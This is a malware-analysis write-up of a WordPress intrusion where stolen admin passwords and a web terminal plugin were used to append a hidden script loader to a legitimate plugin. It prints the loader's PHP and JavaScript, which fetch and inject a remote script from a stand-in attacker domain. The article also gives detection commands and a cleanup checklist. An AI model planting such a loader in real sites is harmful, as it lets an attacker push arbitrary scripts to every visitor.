The site owner's message was short: "The virus keeps coming back." The owner's own clean-ups had not stopped it, so they asked for a deeper review. What we found was not a webshell, not a fake plugin and not a vulnerable form. It was four hidden functions appended to a perfectly normal, active plugin, put there by someone who had logged in to wp-admin with a real administrator password and installed a web terminal.
This article walks through the technique step by step: how the attacker got a shell without uploading a single webshell, how the loader works, why it is so hard to see from the outside, and how the file timestamps lined up with the access log down to the second. All commands at the end are read-only.
🔑 Act 1: a valid password, not an exploit
There was no vulnerable plugin and no brute force. The access log shows a normal login form, a single POST /wp-login.php and a 302 redirect, which in WordPress means the password was accepted. The web application firewall also logged a "successful WordPress login" event for the same request, together with the username.
203.0.113.17 [Day 2 04:32:21] "GET /wp-login.php?redirect_to=…/wp-admin/&reauth=1" 200
203.0.113.17 [Day 2 04:32:59] "POST /wp-login.php" 302 <- password accepted
203.0.113.17 [Day 2 04:33:32] "GET /wp-admin/plugin-install.php" 200
203.0.113.17 [Day 2 04:33:50] "GET /wp-admin/plugins.php?action=activate&plugin=wp-file-manager/file_folder_manager.php" 302
The account belonged to a real staff member, but every legitimate login for that user came from a different IP. The next day the same attacker IP logged in as a second administrator. A few days after that, a new IP used the second account. Two separate accounts, both with correct passwords on the first try: that is a credential problem, not a code problem.
🛡️ Act 2: the first attempt was blocked
The attacker's first plan was the classic one: install a file manager, enable the theme editor, and paste the loader into the theme's functions.php. The firewall saw PHP code in the request body and answered 403, nine times in fifteen minutes.
203.0.113.17 [Day 2 05:12:53] "GET /wp-admin/plugins.php?action=activate&plugin=theme-editor/…" 302
203.0.113.17 [Day 2 05:13:46] "POST /wp-admin/admin-ajax.php" 403 (theme editor save)
203.0.113.17 [Day 2 05:23:01] "POST /wp-admin/admin-ajax.php" 403
…
203.0.113.17 [Day 2 05:28:07] "POST /wp-admin/admin-ajax.php" 403 (9th attempt)
203.0.113.17 [Day 2 05:24:09] "GET /wp-admin/plugins.php?action=deactivate&plugin=wp-file-manager/…" 302
The blocked request bodies are worth keeping: they contained exactly the same functions that appeared in a plugin file five days later. That match is what tied the two sessions together.
💻 Act 3: a web terminal from the plugin directory
Instead of trying to sneak PHP past the firewall in a form field, the attacker installed a web terminal plugin straight from the official plugin directory. Plugins like this give an administrator a shell in the browser under Tools. Every command travels as an ordinary admin-ajax.php request, so it looks like normal dashboard traffic.
198.51.100.40 [Day 5 02:08:05] "POST /wp-login.php" 302 <- second admin account
198.51.100.40 [Day 5 02:08:56] "GET /wp-admin/plugin-install.php?s=wpterm&tab=search" 200
198.51.100.40 [Day 5 02:09:02] "GET /wp-admin/plugins.php?action=activate&plugin=wpterm/wpterm.php" 302
198.51.100.40 [Day 5 02:10:43] "GET /wp-admin/tools.php?page=wpterm" 200
The terminal sat open for two days. Then, in a short session, the attacker opened the "plugin information" page of a plugin that was already installed and active on the site, an organization-chart plugin, and made two terminal calls. Two minutes after the second call they deactivated the terminal and deleted it. Nothing about the terminal remained on disk except one line in the recently_activated option.
🧬 Act 4: four functions appended to a real plugin
The modified file was the main file of the organization-chart plugin. The upstream release has 85 lines. The file on the server had 178. Lines 1–85 were identical to the official release; lines 86–178 were new. Here is the core of it, shortened:
// 1) Public "setter": anyone can change the script URL with ?select=
function shortname_process_referer() {
if (!isset($_GET['select'])) { return; }
$new_value = sanitize_text_field($_GET['select']);
if ($new_value === '0') {
delete_option('shortname_referer');
} else {
update_option('shortname_referer', $new_value);
}
define('DONOTCACHEPAGE', true);
nocache_headers();
}
add_action('template_redirect', 'shortname_process_referer', 1);
// 2) Public "getter": an AJAX action that works for logged-out visitors
function shortname_get_referer_ajax() {
wp_send_json_success(get_option('shortname_referer'));
}
add_action('wp_ajax_shortname_get_referer', 'shortname_get_referer_ajax');
add_action('wp_ajax_nopriv_shortname_get_referer', 'shortname_get_referer_ajax');
And the part every visitor receives, printed at the very top of <head>:
(function () {
var xhr = new XMLHttpRequest();
xhr.open('GET', '/wp-admin/admin-ajax.php?action=shortname_get_referer', true);
xhr.onload = function () {
var r = JSON.parse(xhr.responseText);
if (r.success && r.data) {
var s = document.createElement('script');
s.src = r.data; // e.g. //attacker-domain.example/meta.google.com
s.async = true;
document.head.appendChild(s);
}
};
xhr.send();
})();
A second, spare pair of functions did the same thing through ?search_query_lang= and an option named ga_optin_referer, printing <script/async/src="…"> directly. The names were chosen to blend in: et_theme_loader_unminified_styles and et_theme_shorcode_visualisation sound like theme helpers, and ga_optin_referer sounds like analytics.
🙈 Why this loader is hard to see
- No URL in the HTML. The page source only contains a generic XHR to the site's own
admin-ajax.php. The real script address lives in the database and is fetched at runtime. Acurlof the homepage that greps for unknown domains finds nothing. - Remote control without a backdoor login. The
?select=setter is public. The attacker never has to log in again to swap the payload: a singleGET /?select=//new-domain/…from any IP changes what every visitor loads. In our logs a third IP did exactly that, 19 minutes after the file was written. - Kill switch.
?select=0deletes the option and the loader goes silent, which makes intermittent behaviour easy. - Cache-aware. The setter sends
DONOTCACHEPAGEand no-cache headers, so the change takes effect immediately even behind page caching. - Misleading path. The stored value ended in
/meta.google.com, so a quick glance at the option reads like a Google URL. - Inside a legitimate, active plugin. A file list looks normal. Nothing was added to
mu-plugins,uploadsor the webroot. - Forged modification time. The file's mtime was set back eight months, so
ls -ltandfind -mtimeput it among the original install files.
⏱️ The timestamps that gave it away
An attacker can set mtime with touch. They cannot easily set the change time (ctime) or, on modern filesystems, the birth time. stat on the infected file:
$ stat wp-content/plugins/organization-chart/wpdevart_chart.php
Size: 6799 Blocks: 16 IO Block: 4096 regular file
Modify: [8 months earlier] 14:38:34 <- forged
Change: [Day 7] 03:26:56 <- real
Birth: [Day 7] 03:05:23 <- real
And the access log for the same minutes:
198.51.100.40 [Day 7 03:05:23] "POST /wp-admin/admin-ajax.php" 200 287 "…/tools.php?page=wpterm" = Birth
192.0.2.77 [Day 7 03:24:53] "GET /?select=//attacker-domain.example/meta.google.com" 301 = payload armed
198.51.100.40 [Day 7 03:26:56] "POST /wp-admin/admin-ajax.php" 200 55 "…/tools.php?page=wpterm" = Change
198.51.100.40 [Day 7 03:28:33] "GET /wp-admin/plugins.php?action=deactivate&plugin=wpterm%2Fwpterm.php" 302
Birth time and change time match the two terminal requests to the second, and the referer of both requests is the terminal page. A birth time that new means the file on disk is a new file written over the original, not the one installed with the plugin. Four days later the terminal IP came back to check that shortname_get_referer still answered.
What the logs cannot show is honest to state: the terminal's command text is sent in the POST body, which normal access logs do not record, so the exact commands are unknown. And the logs show valid passwords, not how those passwords were obtained.
🔍 Read-only detection commands
Every command below only reads. Run WP-CLI as the site's own user, never as root.
1. Find this loader by behaviour, not by name:
grep -rlE "wp_ajax_nopriv_[a-z_]+referer|update_option\([^)]*\\\$_GET|createElement\('script'\).{0,200}response\.data" \
wp-content/ --include="*.php" 2>/dev/null
2. Look for public GET parameters that write options (a strong red flag in any plugin):
grep -rnE "update_option\s*\([^;]*\\\$_(GET|REQUEST)" wp-content/plugins wp-content/themes wp-content/mu-plugins 2>/dev/null
3. Compare every plugin against the official release. Download the same version from the plugin directory to a scratch folder outside the site and diff:
wp plugin list --fields=name,version,status
wp plugin verify-checksums --all
# or manually for one plugin:
diff -rw /tmp/upstream/organization-chart/ wp-content/plugins/organization-chart/
4. Use ctime and birth time, not mtime, to find files changed recently:
find wp-content/ -type f -name "*.php" -newerct "2026-10-01" -printf '%C+ %p\n' | sort
stat -c '%n | mtime %y | ctime %z | birth %w' wp-content/plugins/*/*.php | awk -F'|' '$2 != $3'
5. Check the database for script URLs in options:
SELECT option_id, option_name, LEFT(option_value, 120)
FROM wp_options
WHERE option_value REGEXP '^(https?:)?//[^ ]+$'
AND option_name NOT IN ('siteurl','home')
ORDER BY option_id DESC LIMIT 50;
6. Look in the access log for web terminals and admin tools:
grep -E "plugin=(wpterm|wp-file-manager|file-manager|theme-editor)|page=wpterm|action=shortname_get_referer|[?&]select=" access_log*
grep -E '"POST /wp-login.php[^"]*" 302' access_log* | awk '{print $1}' | sort | uniq -c
The last command lists every IP that successfully logged in. Compare it with the IPs your team actually uses.
🧹 Cleanup checklist
- Back up the full database and copy the infected file to an evidence folder outside the webroot before changing anything.
- Replace the modified plugin file with the official release of the same version; verify its hash matches upstream.
- Delete the attacker's options (
shortname_referer,ga_optin_refererin this case) after dumping them. - Confirm from the origin server that the homepage no longer contains the XHR and that
admin-ajax.php?action=shortname_get_refererreturns0/ 400. - Review every administrator account, change all admin passwords, and turn on two-factor authentication. The intrusion started with valid passwords; without this step, the attacker simply logs in again.
- Remove admin tools you do not need (file managers, theme editors, web terminals). Consider setting
DISALLOW_FILE_EDITandDISALLOW_FILE_MODSinwp-config.php.
🧪 Indicators
- Function names:
shortname_process_referer,shortname_get_referer_ajax,shortname_output_referer_query,et_theme_loader_unminified_styles,et_theme_shorcode_visualisation - AJAX action:
shortname_get_referer(registered for logged-out visitors) - Options:
shortname_referer,ga_optin_referer - Public parameters:
?select=,?search_query_lang= - Stored value pattern:
//<domain>/meta.google.com - Infected plugin file SHA-256:
224698172332f3116f307a1642f8729a9b4c2b8c0b3bc700ee2477a08d614ade - Admin activity: web terminal plugin installed, used and deleted within days; file manager and theme editor activated and removed
💡 Takeaways
- A stolen admin password is enough. With a web terminal from the official directory, an attacker gets a shell without ever uploading a webshell.
- Malware in a legitimate, active plugin is invisible to a "list unknown files" review. Compare plugins against upstream.
- Do not trust mtime. ctime and birth time, matched against the access log, tell you when and how a file really changed.
- A loader that reads its target from the database leaves nothing in the page HTML. Check options for script URLs.
- Removing the payload is half the job. If the way in was a valid password, secure the accounts or it comes back.
❓ FAQ
Can a WordPress plugin from the official directory be used as a backdoor?
Yes. Web terminals and file managers are legitimate tools for administrators. In the hands of someone with a stolen admin password, they become a shell. The plugin itself is not malware; the access is the problem.
Why didn't the infected file look new?
Its modification time had been set back by months. Use stat and look at Change and Birth times, which are much harder to forge.
How do I know if the loader is active on my site?
Open /wp-admin/admin-ajax.php?action=shortname_get_referer. A clean site returns 0. An infected site returns JSON with a script URL. Also grep your plugins for wp_ajax_nopriv_ handlers that return option values.
Is restoring the plugin file enough?
No. Delete the stored options and, most importantly, secure the admin accounts. The attacker came in with valid passwords and will try them again.